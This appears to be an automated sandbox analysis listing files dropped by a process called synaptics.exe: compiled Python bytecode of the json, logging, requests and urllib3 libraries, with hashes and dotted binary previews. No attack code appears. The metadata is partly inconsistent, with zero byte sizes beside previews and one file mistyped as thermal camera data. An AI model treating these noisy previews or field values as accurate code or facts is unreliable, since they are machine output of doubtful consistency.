              Preview:o.......:.-d.@.......................@...s6...d.Z.d.d.l.Z.z.d.d.l.m.Z...W.n...e.y.......d.Z.Y.n.w.z.d.d.l.m.Z...W.n...e.y-......d.Z.Y.n.w.z.d.d.l.m.Z...W.n...e.yA......d.Z.Y.n.w.e...d...Z.e...d...Z.e...d...Z.d.d.d.d.d.d.d.d...Z.e.d...D.].Z.e...e.e...d...e.......q_e.d...Z.d.d...Z.e.pxe.Z.d.d...Z.e.p.e.Z.G.d.d...d.e...Z.e.e.e.e.e.e.e.e e!e.j"f.d.d...Z#d.S.).z.Implementation of JSONEncoder......N)...encode_basestring_ascii)...encode_basestring)...make_encoderz.[\x00-\x1f\\"\b\f\n\r\t]z.([\\"]|[^\ -~])s....[.-.]z.\\z.\"z.\bz.\fz.\nz.\rz.\t)...\.."................ .....\u{0:04x}..infc....................C........d.d...}.d.t...|.|.....d...S.).z5Return a JSON representation of a Python string.. c....................S...s....t.|...d.....S.).Nr....)...ESCAPE_DCT..group)...match..r.....:C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\json\encoder.py..replace(...s......z%py_encode_basestring.<locals>.replacer....)...ESCAPE..sub....sr....r....r....r......py_encode_basestring$...s........r....c......

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\json\__pycache__\scanner.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:B3186219C752D26D00CB72888AECA2FC
              SHA1:E0543869A613D25227DEF6022652D88A9E6558A1
              SHA-256:AB6FACA6BC1AD896E03D2B1F23D1F3EFE5FABFA9BC28A6050744543496A4ABAF
              SHA-512:D68BE1BE118D96B8EF7AE3A35948DE2D8B776B0C6370A274C74A7B23FE3A06BA061CC9358E2AA63D865A891B5844A2A2238B1CB642BEADA568767FC51002F4F5
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.........................@...sh...d.Z.d.d.l.Z.z.d.d.l.m.Z...W.n...e.y.......d.Z.Y.n.w.d.g.Z.e...d.e.j.e.j.B.e.j.B...Z.d.d...Z.e.p1e.Z.d.S.).z.JSON token scanner......N)...make_scannerr....z)(-?(?:0|[1-9]\d*))(\.\d+)?([eE][-+]?\d+)?c........................sv...|.j...|.j...|.j...t.j...|.j...|.j...|.j...|.j...|.j...|.j...|.j...........................f.d.d.........f.d.d...}.|.S.).Nc........................s....z.|.|...}.W.n...t.y.......t.|...d...w.|.d.k.r...|.|.d.......S.|.d.k.r0..|.|.d...f.............S.|.d.k.r=..|.|.d...f.....S.|.d.k.rQ|.|.|.d.......d.k.rQd.|.d...f.S.|.d.k.re|.|.|.d.......d.k.red.|.d...f.S.|.d.k.ry|.|.|.d.......d.k.ryd.|.d...f.S...|.|...}.|.d.u.r.|.....\.}.}.}.|.s.|.r...|.|.p.d...|.p.d.....}.n...|...}.|.|.....f.S.|.d.k.r.|.|.|.d.......d.k.r...d...|.d...f.S.|.d.k.r.|.|.|.d.......d.k.r..d...|.d...f.S.|.d.k.r.|.|.|.d.......d.k.r..d...|.d...f.S.t.|.....).N..".......{..[..n.....Z.null..t..trueT..f.....Z.falseF....N.......NaN..I.......Infinity..-.....z.-Infinit

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\logging\__pycache__\__init__.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:D1AD8143C10EBCFA897E91CEAA06D411
              SHA1:A1B59A260B4EB1B7DA8E8922ACB24E51F3B3759C
              SHA-256:4E946299774988F5AB1FB2C76537D3441925522E22209AA0A5C05CC9209362B3
              SHA-512:9FC73207899744966E93701E1DBDD2C6265AC70A8E340F4974314094E3941AF3D14FA69C7BF1F775FC1C5E7101D265B9EBEE290020083AA6C469806FCEF5F76E
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d=B.......................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...g.d...Z.d.d.l.Z.d.Z.d.Z.d.Z.d.Z.e.....Z.d.Z.d.Z.d.Z.d.Z.d.Z.e.Z.d.Z.d.Z.e.Z.d.Z.d.Z d.Z!e.d.e.d.e.d.e.d.e d.e!d.i.Z"e.e.e.e.e.e.e e!d...Z#d.d...Z$d.d...Z%e&e.d...r.d.d...Z'n.d.d...Z'e.j(.)e%j*j+..Z,d d!..Z-e.....Z/d"d#..Z0d$d%..Z1e&e.d&..s.d'd(..Z2n.e..3..Z4d)d(..Z2d*d+..Z5e.j6e0e5e1d,....G.d-d...d.e7..Z8e8a9d/d0..Z:d1d2..Z;d3d4..Z<e...Z=[.G.d5d6..d6e7..Z>G.d7d8..d8e>..Z?G.d9d:..d:e>..Z@d;ZAe>eAf.e?d<f.e@d=f.d>..ZBG.d?d@..d@e7..Z.e...ZCG.dAdB..dBe7..ZDG.dCdD..dDe7..ZEG.dEdF..dFe7..ZFe..G..ZHg.ZIdGdH..ZJdIdJ..ZKG.dKdL..dLeF..ZLG.dMdN..dNeL..ZMG.dOdP..dPeM..ZNG.dQdR..dReM..ZOeOe...ZPePZQG.dSdT..dTe7..ZRdUdV..ZSdWdX..ZTG.dYdZ..dZe7..ZUG.d[d\..d\eF..ZVG.d]d^..d^eV..ZWeVaXG.d_d`..d`e7..ZYeWe...ZZeZeV_ZeUeVjZ..eV_[dadb..Z\d.dcdd..Z]dedf..Z^dgdh..Z_didj..Z`d.dk..dldm..Zadndo..Zbdpdq..Zcdrds..Zddtdu..Zedvdw..Zfe.f.dxdy..ZgeIf.dzd{..Zhd.d.liZiei.jeh..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\site-packages\_distutils_hack\__pycache__\__init__.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:430C6EDFD8B0969E27367885E36885AC
              SHA1:A2731F709FD47AF7896ECCD01560D5DA645E9039
              SHA-256:88C72CD942236A589A794E1C39B81777284ACDEA9DFD7B3926438F5B90453724
              SHA-512:E136A85713A29211C4F516623F2A6652A8B5C850530143463F686181A1B0D53B1B2B775BAB5312A2AA8710C35FC12F7125F898C49C0C84AE40B131363123B7B1
              Malicious:false
              Reputation:unknown
              Preview:o.......0g.f.........................@...s....d.d.l.Z.d.d.l.Z.d.e.j.v.Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.G.d.d...d...Z.G.d.d...d...Z.e.j.D.].Z.e.e.d.e.....e.j.....q2e...Z.d.d...Z.G.d.d...d...Z.d.d...Z.d.d...Z.d.S.)......NZ.__pypy__c....................C...s6...d.t.j.v.r.d.S.t.r.t.j.d.k.r.d.S.d.d.l.}.|...d.....d.S.).N..distutils)...........r....a....Distutils was imported before Setuptools, but importing Setuptools also replaces the `distutils` module in `sys.modules`. This may lead to undesirable behaviors or errors. To avoid these issues, avoid using distutils directly, ensure that setuptools is installed in the traditional way (e.g. not an editable install), and/or make sure that setuptools is always imported before distutils.)...sys..modules..is_pypy..version_info..warnings..warn).r......r.....TC:\Users\user\AppData\Local\qkxB9Wn8nG\lib\site-packages\_distutils_hack\__init__.py..warn_distutils_present....s....................r....c....................C...sF...d.t.j.v.r.d.S.d.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\site-packages\requests\__pycache__\__init__.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:893A10B34799E3B8E73A186F22F92426
              SHA1:CC750C5D4A9CA9B79CCBF126F1C99EEFD5BB296E
              SHA-256:9288877D6A67235D1FC944BCC8C5810C9A68343CACBB06FAAA9859B9259AC26A
              SHA-512:DB92F647C1A52F4103BC810A8CBDC066CBF6AE768E4FADEE9B90E15A1A960509DC4E18837F9554ADA5B605CCC69F1B9D12B72B0F7570406405677051614CB327
              Malicious:false
              Reputation:unknown
              Preview:o........g.f.........................@...sL...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...z.d.d.l.m.Z...W.n...e.y#......d.Z.Y.n.w.z.d.d.l.m.Z...W.n...e.y7......d.Z.Y.n.w.d.d...Z.d.d...Z.z.e.e.j.e.e.....W.n...e.e.f.y`......e...d...e.j.e.e...e.....Y.n.w.z.z.d.d.l.Z.W.n...e.ys......d.Z.Y.n.w.e.e.d.d...s.d.d.l.m.Z...e.......d.d.l.m.Z...e.e.....W.n...e.y.......Y.n.w.d.d.l.m.Z...e...d.e.....d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m Z m!Z!m"Z"m#Z#m$Z$m%Z%m&Z&m'Z'm(Z(m.Z...d.d.l)m*Z*m+Z+m,Z,m-Z-m.Z.m/Z/m0Z0m1Z1..d.d.l.m2Z2m3Z3m4Z4m5Z5m6Z6m7Z7m8Z8m9Z9m:Z:m;Z;..d.d.l<m=Z=m>Z>m?Z?..d.d.l@mAZAmBZB..d.d.lCmDZD..e..EeF...Ge.......e.j.d.e4d.d.....d.S.).a.....Requests HTTP Library.~~~~~~~~~~~~~~~~~~~~~..Requests is an HTTP library, written in Python, for human beings..Basic GET usage:.. >>> import requests. >>> r = requests.get('https://www.python.org'). >>> r.status_code. 200. >>> b'Python is a programming language' in r.content. True..... or POST:.. >>> payload = dict(key1='value1', key2='value2

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\site-packages\urllib3\__pycache__\__init__.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:6AA1B690A33CA33179C99B3FEA1E8FB5
              SHA1:4473B58F138F31E56AA24D1376AD81B7D8576D9C
              SHA-256:EAB1FC3D413F3E62DEC62FE4746E2E6E51945244024FE6EBF76EFFD19212FFF5
              SHA-512:D9146003313007789181545C0B62879BE4B50EFC2339FF2F875F7588C9BFA8FE7E05968CC46166B042F07E76EFCF5BD86B984F55BE725252FEC028CDC23F2F5B
              Malicious:false
              Reputation:unknown
              Preview:o........g.fC........................@...s....d.Z.d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l m!Z!..d.d.l"m#Z#..z.d.d.l$Z$W.n...e%y{......Y.n"w.e$j&.'d...s.e..(d.e$j&..d...e.j)....n.e$j*d.k.r.e%d.e$j&..d.......d.Z+d.Z,e.Z.d.Z-e...e/...0e.......e.j1f.dBd.d...Z2[.e.j3d.e.j4d d!....e.j3d"e.j5d d!....e.j6f.dCd&d'..Z7e...Z8d.d.d.d d d d.d(d.d)..dDd>d?..Z9e.j:d@k.r.d.dAl;m<Z<..e<....d.S.d.S.)Eze.Python HTTP library with thread-safe connection pooling, file post support, user friendly, and more......)...annotationsN)...NullHandler.....)...exceptions)..._TYPE_BODY)...HTTPHeaderDict)...__version__)...HTTPConnectionPool..HTTPSConnectionPool..connection_from_url)..._TYPE_FIELDS..encode_multipart_formdata)...PoolManager..ProxyManager..proxy_from_url)...BaseHTTPResponse..HTTPResponse)...make_headers)...Retry)...Timeoutz.OpenSSL zUurllib3 v2 only suppo

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\site-packages\urllib3\__pycache__\_base_connection.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:41CF29B38DBAFBEA814B173CBCF722EC
              SHA1:048BECA50B4B93B78A4F51DF57625768C0DA9779
              SHA-256:2EFC6542FB0B48819E836142CEE103DBF9B37565034A06CA1EEFB441C9148A5E
              SHA-512:28566876722E84576BFD26F3E2EDAA7E8A7A800E363FFC228C00F5D22F531D4AE210C18C96B31531DD2C0AC7EAD18741252B7ECA0DD23A861441CADBD30E1097
              Malicious:false
              Reputation:unknown
              Preview:o........g.f.........................@...s....d.d.l.m.Z...d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...e.j.e.e.j.e.j...e.j.e...e.f...Z.G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.e.j.rfd.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...G.d.d...d.e...Z.G.d.d...d.e.e...Z.d.S.d.S.)......)...annotationsN.....)..._TYPE_SOCKET_OPTIONS)..._DEFAULT_TIMEOUT.._TYPE_TIMEOUT)...Urlc....................@...s....e.Z.d.Z.U.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.S.)...ProxyConfig..ssl.SSLContext | None..ssl_context..boolZ.use_forwarding_for_https."None | str | typing.Literal[False]..assert_hostname..str | None..assert_fingerprintN....__name__..__module__..__qualname__..__annotations__..r....r.....TC:\Users\user\AppData\Local\qkxB9Wn8nG\lib\site-packages\urllib3\_base_connection.pyr........s..............r....c....................@...s6...e.Z.d.Z.U.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.S.)..._ResponseOptions..strZ.request_methodZ.request_urlr......preload_content..decode_content..enforce_content_lengthNr....r....r....r....r...

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\site-packages\urllib3\__pycache__\_collections.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:27A2828AEAC9D6743BE02E01D895CED6
              SHA1:119B65CEB6C508EF5990F7FA1BA918DE8C5659FC
              SHA-256:75FAA569DD410725B1B82D830846E22368B0B570981D146B1E2181C912F10CD5
              SHA-512:CA40559FC9342A0ECCE91114D5EDB1ABED5BD5F0AB65CFB0656B4FB670EA9B9E0A0E4C0C33DBDFBEE7EC1DB809BC661A402876CAF72469D22ECCDE802C321C2C
              Malicious:false
              Reputation:unknown
              Preview:o........g.f.C.......................@...s:...d.d.l.m.Z...d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...e.j.r5d.d.l.m.Z...d.d.l.m.Z...G.d.d...d.e...Z.d.d.g.Z.e...d...Z.e...d...Z.e...d...Z.e.j.d.e.j.e.e.f...e.j.e.j.e.e.f.....d.f...Z.G.d.d...d.e...Z.d.d.d...Z.G.d.d...d.e.j.e.e.f...e.j.e.e.f.....Z.G.d.d...d.e.j.e.j.e.e.f.......Z G.d.d...d.e.j.e.e.f.....Z!d.S.)......)...annotationsN)...OrderedDict)...Enum..auto)...RLock)...Protocol)...Selfc....................@...s ...e.Z.d.Z.d.d.d...Z.d.d.d...Z.d.S.)...HasGettableStringKeys..return..typing.Iterator[str]c....................C........d.S...N......selfr....r.....PC:\Users\user\AppData\Local\qkxB9Wn8nG\lib\site-packages\urllib3\_collections.py..keys...........z.HasGettableStringKeys.keys..key..strc....................C...r....r....r......r....r....r....r....r......__getitem__....r....z!HasGettableStringKeys.__getitem__N..r....r......r....r....r....r....)...__name__..__module__..__qualname__r....r....r....r....r....r....r........s..........r

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\site-packages\urllib3\__pycache__\_version.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:B41ABA3ECD61571603A8BCE641E5ACE9
              SHA1:CF2D257526B29C1DB504D28ADB0191E7B4E58791
              SHA-256:B60BD3CABC2EFDDF1149B62A4E761723D64FD790EFFCEF49C7FA9DB9D98D72DE
              SHA-512:F05AC7CF72EA6B938714624753E3600D5D7DEDA70D4CAC8F8362B63DA719947DC8A3BF4D20A5472278004D352711779D133E71E7303BA92305ADB2ADA4C5EA39
              Malicious:false
              Reputation:unknown
              Preview:o........g.f.........................@...sh...U.d.Z.e.r.d.d.l.m.Z.m.Z...e.e.e.e.f...d.f...Z.n.e.Z.e.e.d.<.e.e.d.<.e.e.d.<.e.e.d.<.d...Z.Z.d...Z.Z.d.S.).F.....)...Tuple..Union...version..__version__..__version_tuple__..version_tuplez.2.2.3)......r.........N)...TYPE_CHECKING..typingr....r......int..strZ.VERSION_TUPLE..object..__annotations__r....r....r....r......r....r.....LC:\Users\user\AppData\Local\qkxB9Wn8nG\lib\site-packages\urllib3\_version.py..<module>....s..........................

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\site-packages\urllib3\__pycache__\exceptions.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:440197382E873FFE63BB06B33377D1B7
              SHA1:F1CB34871391C0F7460EECD131F819F87B3F2B0D
              SHA-256:58F5E7DAF1438DB68D4599E2BD116ABC32614EB0C57013E208661BB6D72BE7C5
              SHA-512:2126D2D66B01DFED849A180CDA637CB573883202BA1E902DE15FAAB5BF18569D90C66851D6BDA46B72646E017C2EEB1E701E29812BB4CDD70733FE19BDF37A7F
              Malicious:false
              Reputation:unknown
              Preview:o........g.f.$.......................@...s....d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...e.j.r9d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...G.d.d...d.e...Z.G.d.d...d.e...Z.e.j.e.j.d.e.f...e.j.e.d.f...f...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z e Z!G.d.d...d.e...Z"G.d.d...d.e...Z#G.d.d ..d e...Z$G.d!d"..d"e...Z%G.d#d$..d$e%e...Z&G.d%d&..d&e%..Z'G.d'd(..d(e'e...Z(G.d)d*..d*e(..Z)G.d+d,..d,e...Z*G.d-d...d.e...Z+G.d/d0..d0e...Z,G.d1d2..d2e-e...Z.G.d3d4..d4e...Z/G.d5d6..d6e...Z0G.d7d8..d8e...Z1G.d9d:..d:e...Z2G.d;d<..d<e2..Z3G.d=d>..d>e2..Z4G.d?d@..d@e2..Z5G.dAdB..dBe2..Z6G.dCdD..dDe...Z7G.dEdF..dFe e-..Z8G.dGdH..dHe...Z9G.dIdJ..dJe.e...Z.G.dKdL..dLe.e...Z:G.dMdN..dNe...Z;G.dOdP..dPe<e0..Z=G.dQdR..dRe-..Z>G.dSdT..dTe...Z?G.dUdV..dVe...Z@d.S.)W.....)...annotationsN)...MessageDefect)...IncompleteRead.....)...HTTPConnection)...ConnectionPool)...HTTPResponse)...Retryc....................@........e.Z.d.Z.d.Z.d.S.)...HT

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\site-packages\urllib3\util\__pycache__\__init__.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:96558063B26739B97C5F6ADD70BD3733
              SHA1:80C3F434BCFF7796DD99162A27BB9B634557BF06
              SHA-256:148ACF777868BDE17B89631304D066BDFDA5429F7FBD452CADB1463CFBC7A06A
              SHA-512:7CE698411787BCD037370D8D50D6AF358BB4B0B29403944E2F60F4BC3F42375288E7BC6D10A98EFD3B33A2F156098A1306721931AA4D9DED052400F1B02B8454
              Malicious:false
              Reputation:unknown
              Preview:o........g.f.........................@...s....d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z...d.Z.d.S.)......)...annotations.....)...is_connection_dropped)...SKIP_HEADER..SKIPPABLE_HEADERS..make_headers)...is_fp_closed)...Retry)...ALPN_PROTOCOLS..IS_PYOPENSSL..SSLContext..assert_fingerprint..create_urllib3_context..resolve_cert_reqs..resolve_ssl_version..ssl_wrap_socket)...Timeout)...Url..parse_url)...wait_for_read..wait_for_write).r....r....r....r....r....r....r....r....r....r....r....r....r....r....r....r....r....r....r....N)...__future__r......connectionr......requestr....r....r......responser......retryr....Z.ssl_r....r....r....r....r....r....r....r......timeoutr......urlr....r......waitr....r......__all__..r ...r ....QC:\Users\user\AppData\Local\qkxB9Wn8nG\lib\site-packages\urllib3\util\__init__.py..<module>....s..............(.........

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\site-packages\urllib3\util\__pycache__\connection.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:98EA98E747B892DBC576A04CBDB07999
              SHA1:D4467A739B5E8247E36004351D64376A415CE3D1
              SHA-256:BA1F9E355DA613A9C53A37C243D5DED347CA9619EC00409012940E78F4F48555
              SHA-512:E0443B06AE519431E95402DE0C3CD89AE6CDEA7EEA769C3D8516182BFD9B6E26A3DB6F07A11FCAA5B3AE859380B8D7D26B9724CF5296F8E3AC8894BEADA9A743
              Malicious:false
              Reputation:unknown
              Preview:o........g.fj........................@...s....d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z...e.j.e.j.e.e.e.j.e.e.f...f.....Z.e.j.r5d.d.l.m.Z...d&d.d...Z.e.d.d.f.d'd.d...Z.d(d.d...Z.d)d.d ..Z.d*d#d$..Z.e.d%..Z.d.S.)+.....)...annotationsN.....)...LocationParseError.....)..._DEFAULT_TIMEOUT.._TYPE_TIMEOUT)...BaseHTTPConnection..connr......return..boolc....................C...s....|.j...S.).z.. Returns True if the connection is dropped and should be closed.. :param conn: :class:`urllib3.connection.HTTPConnection` object.. )...is_connected).r......r.....SC:\Users\user\AppData\Local\qkxB9Wn8nG\lib\site-packages\urllib3\util\connection.py..is_connection_dropped....s......r......address..tuple[str, int]..timeoutr......source_address..tuple[str, int] | None..socket_options.._TYPE_SOCKET_OPTIONS | None..socket.socketc....................C...s$...|.\.}.}.|...d...r.|...d...}.d.}.t...}.z.|...d.....W.n...t.y*......t.d.|...d.....d...w.t...|.|.|.t.j...D.]O}.|.\.}.}.}.}.}.d.}.z(t...|.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\site-packages\urllib3\util\__pycache__\request.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:D545B16E83E4C52633FC093494D77DB2
              SHA1:D18DAADB3CE99EC35FB763BC36C38C5729E49F2B
              SHA-256:B9DF96E349FDA1F303FE4146992257A52A617B5277B01954A3D3F0A018ADFC98
              SHA-512:61A4FB2FC38C87616B1FF99715A9F0C36953DCCC543C8264BF78D453E1F9F3FB9363960673189A7F8AA2E2D8153B79E230A9B68276F7C278F9CE29C1E435465D
              Malicious:false
              Reputation:unknown
              Preview:o........g.f.........................@...sd...U.d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...e.j.r0d.d.l.m.Z...d.Z.e.g.d.....Z.d.Z.z.z.d.d.l.Z.W.n...e.yN......d.d.l.Z.Y.n.w.W.n...e.yY......Y.n.w.e.d.7.Z.z.d.d.l.Z.W.n...e.ym......Y.n.w.e.d.7.Z.G.d.d...d.e...Z.e.j.Z.d.e.d.<.e.j.e.e.f...Z.h.d...Z.............d6d7d.d ..Z d8d%d&..Z!d9d+d,..Z"G.d-d...d.e.j#..Z$d:d4d5..Z%d.S.);.....)...annotationsN)...b64encode)...Enum.....)...UnrewindableBodyError.....)...to_bytes)...Finalz.@@@SKIP_HEADER@@@)...accept-encoding..host..user-agentz.gzip,deflatez.,brz.,zstdc....................@...s....e.Z.d.Z.d.Z.d.S.)..._TYPE_FAILEDTELLr....N)...__name__..__module__..__qualname__..token..r....r.....PC:\Users\user\AppData\Local\qkxB9Wn8nG\lib\site-packages\urllib3\util\request.pyr....'...s........r....z.Final[_TYPE_FAILEDTELL].._FAILEDTELL>......GETZ.OPTIONS..HEADZ.CONNECTZ.TRACEZ.DELETE..keep_alive..bool | None..accept_encoding..bool | list[str] | str | None..user_agent..str | No

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\site-packages\urllib3\util\__pycache__\response.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:F1CCB4C9ED9891CD6EFCFCDE3317FE4A
              SHA1:7AC36D2458811DA276B7B198DBC11FD057E3782D
              SHA-256:37F64C209983A426CF42C72C2149E57E7B09860898E1FB54F5C9A350482B4993
              SHA-512:F6C3230D2712CCC8A26CC05853BED02BC1E84974CE2CE43C1F665E6B004078F3ED4EA81380AD2F70B6A9A420A59D8EE3E6B6356192B349C13BEC89D40D4829C6
              Malicious:false
              Reputation:unknown
              Preview:o........g.f.........................@...sV...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.d...Z.d.d.d...Z.d.d.d...Z.d.S.)......)...annotationsN)..!MultipartInvariantViolationDefect..StartBoundaryNotFoundDefect.....)...HeaderParsingError..obj..object..return..boolc....................C...s`...z.|.....W.S...t.y.......Y.n.w.z.|.j.W.S...t.y.......Y.n.w.z.|.j.d.u.W.S...t.y/......Y.t.d.....w.).zt. Checks whether a given file-like object is closed... :param obj:. The file-like object to check.. Nz)Unable to determine whether fp is closed.)...isclosed..AttributeError..closed..fp..ValueError).r......r.....QC:\Users\user\AppData\Local\qkxB9Wn8nG\lib\site-packages\urllib3\util\response.py..is_fp_closed....s ...................................r......headers..httplib.HTTPMessage..Nonec....................C...sn...t.|.t.j...s.t.d.t.|.....d.......d.}.|.....s#|.....}.t.|.t.t.f...r#|.}.d.d...|.j.D...}.|.s/|.r5t.|.|.d.....d.S.).a>.... Asserts whether all headers have been

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\site-packages\urllib3\util\__pycache__\retry.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:DIY-Thermocam raw data (Lepton 2.x), scale 512-0, spot sensor temperature 0.000000, unit celsius, color scheme 0, minimum point enabled, maximum point enabled, userbration: offset 0.000000, slope 128.000000
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:931056225E9701421FFED369D308148F
              SHA1:59AB38A36DE97F1A579C108C62EF7AC01E4B22A0
              SHA-256:5B420084AB479A81B5870E425CDCFF36CB44A7712FA713DDBA0B3AF2D2B9C26B
              SHA-512:15C585A02C8645D61D82FCEAB72CB2D0DD819FDE5402AB8233FFA1659E7CEA9B9B4236B1467A5F6AEE11D941A4F1C23DB2467DED496F5315D808FCF0C59E79FB
              Malicious:false
              Reputation:unknown
              Preview:o........g.f.H.......................@...s....d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...e.j.rWd.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...e...e...Z.G.d.d...d.e.j ..Z!G.d.d...d...Z"e"d...e"_#d.S.)......)...annotationsN)...takewhile)...TracebackType.....)...ConnectTimeoutError..InvalidHeader..MaxRetryError..ProtocolError..ProxyError..ReadTimeoutError..ResponseError.....)...reraise)...Self)...ConnectionPool)...BaseHTTPResponsec....................@...s6...e.Z.d.Z.U.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.S.)...RequestHistory..str | None..method..url..Exception | None..error..int | None..status..redirect_locationN)...__name__..__module__..__qualname__..__annotations__..r....r.....NC:\Users\user\AppData\Local\qkxB9Wn8nG\lib\site-packages\urllib3\util\retry.pyr....!...s................r....c....................@...s"...e.Z.d.Z.U.d.Z.e.g.d.....Z.e.g.d.....Z.e.g.d.....Z.d.Z.d.e.d.<.d.d.d.d.d.d.e.d.d.e.d.d.d.d.e

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\site-packages\urllib3\util\__pycache__\ssl_.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
